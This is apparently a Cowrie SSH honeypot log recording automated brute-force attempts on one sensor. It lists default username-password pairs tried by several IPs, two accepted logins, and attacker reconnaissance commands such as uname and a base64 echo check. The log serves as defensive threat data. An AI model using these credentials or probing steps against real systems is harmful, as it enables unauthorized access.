{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:35.234189Z","src_ip":"101.44.96.62","session":"aa0a4f813f5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:35.876040Z","src_ip":"101.44.96.62","session":"aa0a4f813f5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:37.092954Z","src_ip":"101.44.96.62","session":"aa0a4f813f5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":60018,"dst_ip":"159.203.135.109","dst_port":22,"session":"ece093d99694","protocol":"ssh","message":"New connection: 101.44.96.62:60018 (159.203.135.109:22) [session: ece093d99694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:48.489543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:48.494778Z","src_ip":"101.44.96.62","session":"ece093d99694","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:48.711996Z","src_ip":"101.44.96.62","session":"ece093d99694","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:49.361382Z","src_ip":"101.44.96.62","session":"ece093d99694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:45:50.580894Z","src_ip":"101.44.96.62","session":"ece093d99694","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":35620,"dst_ip":"159.203.135.109","dst_port":22,"session":"cda677f586b1","protocol":"ssh","message":"New connection: 101.44.96.62:35620 (159.203.135.109:22) [session: cda677f586b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:02.034067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:02.038775Z","src_ip":"101.44.96.62","session":"cda677f586b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:02.344461Z","src_ip":"101.44.96.62","session":"cda677f586b1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root123","message":"login attempt [root/root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:02.987697Z","src_ip":"101.44.96.62","session":"cda677f586b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:03.451787Z","src_ip":"101.44.96.62","session":"cda677f586b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:03.454280Z","src_ip":"101.44.96.62","session":"cda677f586b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:03.670556Z","src_ip":"101.44.96.62","session":"cda677f586b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:03.674929Z","src_ip":"101.44.96.62","session":"cda677f586b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":38922,"dst_ip":"159.203.135.109","dst_port":22,"session":"fee0673c81f0","protocol":"ssh","message":"New connection: 101.44.96.62:38922 (159.203.135.109:22) [session: fee0673c81f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:15.563544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:15.568076Z","src_ip":"101.44.96.62","session":"fee0673c81f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:15.782123Z","src_ip":"101.44.96.62","session":"fee0673c81f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin123","message":"login attempt [admin/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:16.422475Z","src_ip":"101.44.96.62","session":"fee0673c81f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:17.638020Z","src_ip":"101.44.96.62","session":"fee0673c81f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":49526,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e39ed30b6c3","protocol":"ssh","message":"New connection: 85.198.97.85:49526 (159.203.135.109:22) [session: 6e39ed30b6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:21.191766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:21.195955Z","src_ip":"85.198.97.85","session":"6e39ed30b6c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:21.329870Z","src_ip":"85.198.97.85","session":"6e39ed30b6c3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"banner","message":"login attempt [root/banner] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:21.894410Z","src_ip":"85.198.97.85","session":"6e39ed30b6c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:22.198984Z","src_ip":"85.198.97.85","session":"6e39ed30b6c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:22.202157Z","src_ip":"85.198.97.85","session":"6e39ed30b6c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:22.337257Z","src_ip":"85.198.97.85","session":"6e39ed30b6c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:22.341288Z","src_ip":"85.198.97.85","session":"6e39ed30b6c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":59088,"dst_ip":"159.203.135.109","dst_port":22,"session":"de0572934ca8","protocol":"ssh","message":"New connection: 101.44.96.62:59088 (159.203.135.109:22) [session: de0572934ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:28.983943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:28.988039Z","src_ip":"101.44.96.62","session":"de0572934ca8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:29.206087Z","src_ip":"101.44.96.62","session":"de0572934ca8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:29.860366Z","src_ip":"101.44.96.62","session":"de0572934ca8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:31.081386Z","src_ip":"101.44.96.62","session":"de0572934ca8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":45132,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9dc423ec4f6","protocol":"ssh","message":"New connection: 195.178.110.218:45132 (159.203.135.109:22) [session: b9dc423ec4f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:33.484252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:33.488314Z","src_ip":"195.178.110.218","session":"b9dc423ec4f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:33.567744Z","src_ip":"195.178.110.218","session":"b9dc423ec4f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:33.806608Z","src_ip":"195.178.110.218","session":"b9dc423ec4f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:34.889191Z","src_ip":"195.178.110.218","session":"b9dc423ec4f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":36356,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b10a6625c85","protocol":"ssh","message":"New connection: 101.44.96.62:36356 (159.203.135.109:22) [session: 2b10a6625c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:42.459491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:42.462782Z","src_ip":"101.44.96.62","session":"2b10a6625c85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:42.679095Z","src_ip":"101.44.96.62","session":"2b10a6625c85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:43.328009Z","src_ip":"101.44.96.62","session":"2b10a6625c85","protocol":"ssh"}
